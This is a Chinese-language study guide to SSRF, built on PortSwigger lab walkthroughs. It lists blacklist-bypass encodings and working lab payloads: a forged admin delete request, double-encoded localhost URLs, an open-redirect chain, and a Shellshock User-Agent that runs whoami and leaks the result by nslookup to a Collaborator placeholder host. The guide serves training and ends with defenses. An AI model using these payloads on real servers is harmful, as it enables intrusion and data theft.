SSRF(一):PortSwigger靶场笔记
字数 1766 2025-08-19 12:41:30

SSRF漏洞详解与PortSwigger靶场实战指南

一、SSRF漏洞概述

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全漏洞,允许攻击者操纵服务器向非预期目标发起请求。这种漏洞通常发生在应用程序从用户提供的URL获取数据时,服务器未对目标地址进行充分验证的情况下。

SSRF分类

  1. 普通SSRF:攻击者能够直接看到服务器返回的响应
  2. Blind SSRF:攻击者无法直接看到响应,但服务器确实发起了请求

二、SSRF常见利用场景

  1. 访问服务器本地的服务(如localhost)
  2. 探测内部网络中的其他主机和服务
  3. 绕过身份验证和访问控制
  4. 与服务器端其他漏洞结合利用

三、SSRF绕过技术

当目标使用黑名单机制防护SSRF时,可使用以下方法绕过(以127.0.0.1/localhost为例):

  1. IP地址表示方式转换

    • 十进制表示:2130706433
    • 八进制表示:017700000001
    • 缩写形式:127.1
  2. 域名解析

    • 注册自己的域名解析为127.0.0.1
    • 使用Burp Collaborator提供的spoofed.burpcollaborator.net
  3. URL编码

    • 对请求URL进行单重或多重URL编码

四、PortSwigger靶场实战

Lab1:基本本地SSRF利用

目标:访问http://localhost/admin,删除carlos账户

步骤

  1. 观察Burp Suite的HTTP历史记录,寻找可能的SSRF点
  2. 尝试直接请求http://localhost/admin
  3. 发现返回admin页面但浏览器删除操作受限
  4. 通过Burp构造直接删除请求:
    POST /admin/delete HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    
    username=carlos
    

Lab2:内网服务探测

目标:探测192.168.0.0/24网段中的服务,删除carlos账户

步骤

  1. 发现类似Lab1的SSRF漏洞点
  2. 使用Burp Intruder对192.168.0.1-254进行扫描
  3. 发现192.168.0.160返回200状态码
  4. 构造针对该IP的admin删除请求

Lab3:基于Referer头的Blind SSRF

目标:在服务端发起DNS查询

步骤

  1. 生成Burp Collaborator随机子域名
  2. 修改商品详情请求的Referer头为Collaborator地址
  3. 观察Collaborator是否收到请求

Lab4:黑名单绕过

目标:绕过黑名单访问http://localhost/admin

技巧

  1. 尝试直接请求被阻止
  2. 使用127.1代替127.0.0.1
  3. 对路径部分进行URL编码:
    • 一次编码:%61dmin
    • 二次编码:%2561dmin
  4. 最终有效payload:
    http%3a%2f%2f127.1%2f%2561dmin%2fdelete%3fusername%3dcarlos
    

Lab5:开放重定向结合SSRF

目标:访问http://192.168.0.12:8080/admin

步骤

  1. 发现/product/nextProduct存在开放重定向漏洞
  2. 构造payload:
    /product/nextProduct?currentProductId=7&path=http://192.168.0.12:8080/admin/delete?username=carlos
    
  3. URL编码后作为stockApi参数值

Lab6:Blind SSRF与Shellshock结合

目标:探测192.168.0.0/24网段8080端口,利用Shellshock获取OS用户名

步骤

  1. 使用Collaborator Everywhere插件
  2. 将域名添加到Target Scope
  3. 发现User-Agent和Referer字段存在SSRF
  4. 设置User-Agent为Shellshock payload:
    ()usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
    
  5. 通过DNS查询结果获取用户名

Lab7:高级绕过技巧

有效payload

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

技巧:使用URL编码的#(%23)来截断域名解析

五、防御措施

  1. 实施严格的白名单机制而非黑名单
  2. 验证用户提供的所有URL
  3. 禁用不需要的URL协议(如file://, ftp://)
  4. 对内部服务实施网络层隔离
  5. 使用独立的认证机制保护内部服务

六、工具推荐

  1. Burp Suite Professional:用于拦截、修改和重放请求
  2. Burp Collaborator:用于检测Blind SSRF
  3. Collaborator Everywhere:自动化检测潜在的SSRF漏洞点

通过系统学习这些案例和技术,您将能够有效识别和利用SSRF漏洞,同时也能更好地防御此类安全威胁。

SSRF漏洞详解与PortSwigger靶场实战指南 一、SSRF漏洞概述 SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全漏洞,允许攻击者操纵服务器向非预期目标发起请求。这种漏洞通常发生在应用程序从用户提供的URL获取数据时,服务器未对目标地址进行充分验证的情况下。 SSRF分类 普通SSRF :攻击者能够直接看到服务器返回的响应 Blind SSRF :攻击者无法直接看到响应,但服务器确实发起了请求 二、SSRF常见利用场景 访问服务器本地的服务(如localhost) 探测内部网络中的其他主机和服务 绕过身份验证和访问控制 与服务器端其他漏洞结合利用 三、SSRF绕过技术 当目标使用黑名单机制防护SSRF时,可使用以下方法绕过(以127.0.0.1/localhost为例): IP地址表示方式转换 : 十进制表示:2130706433 八进制表示:017700000001 缩写形式:127.1 域名解析 : 注册自己的域名解析为127.0.0.1 使用Burp Collaborator提供的spoofed.burpcollaborator.net URL编码 : 对请求URL进行单重或多重URL编码 四、PortSwigger靶场实战 Lab1:基本本地SSRF利用 目标 :访问http://localhost/admin,删除carlos账户 步骤 : 观察Burp Suite的HTTP历史记录,寻找可能的SSRF点 尝试直接请求http://localhost/admin 发现返回admin页面但浏览器删除操作受限 通过Burp构造直接删除请求: Lab2:内网服务探测 目标 :探测192.168.0.0/24网段中的服务,删除carlos账户 步骤 : 发现类似Lab1的SSRF漏洞点 使用Burp Intruder对192.168.0.1-254进行扫描 发现192.168.0.160返回200状态码 构造针对该IP的admin删除请求 Lab3:基于Referer头的Blind SSRF 目标 :在服务端发起DNS查询 步骤 : 生成Burp Collaborator随机子域名 修改商品详情请求的Referer头为Collaborator地址 观察Collaborator是否收到请求 Lab4:黑名单绕过 目标 :绕过黑名单访问http://localhost/admin 技巧 : 尝试直接请求被阻止 使用127.1代替127.0.0.1 对路径部分进行URL编码: 一次编码:%61dmin 二次编码:%2561dmin 最终有效payload: Lab5:开放重定向结合SSRF 目标 :访问http://192.168.0.12:8080/admin 步骤 : 发现/product/nextProduct存在开放重定向漏洞 构造payload: URL编码后作为stockApi参数值 Lab6:Blind SSRF与Shellshock结合 目标 :探测192.168.0.0/24网段8080端口,利用Shellshock获取OS用户名 步骤 : 使用Collaborator Everywhere插件 将域名添加到Target Scope 发现User-Agent和Referer字段存在SSRF 设置User-Agent为Shellshock payload: 通过DNS查询结果获取用户名 Lab7:高级绕过技巧 有效payload : 技巧 :使用URL编码的#(%23)来截断域名解析 五、防御措施 实施严格的白名单机制而非黑名单 验证用户提供的所有URL 禁用不需要的URL协议(如file://, ftp://) 对内部服务实施网络层隔离 使用独立的认证机制保护内部服务 六、工具推荐 Burp Suite Professional :用于拦截、修改和重放请求 Burp Collaborator :用于检测Blind SSRF Collaborator Everywhere :自动化检测潜在的SSRF漏洞点 通过系统学习这些案例和技术,您将能够有效识别和利用SSRF漏洞,同时也能更好地防御此类安全威胁。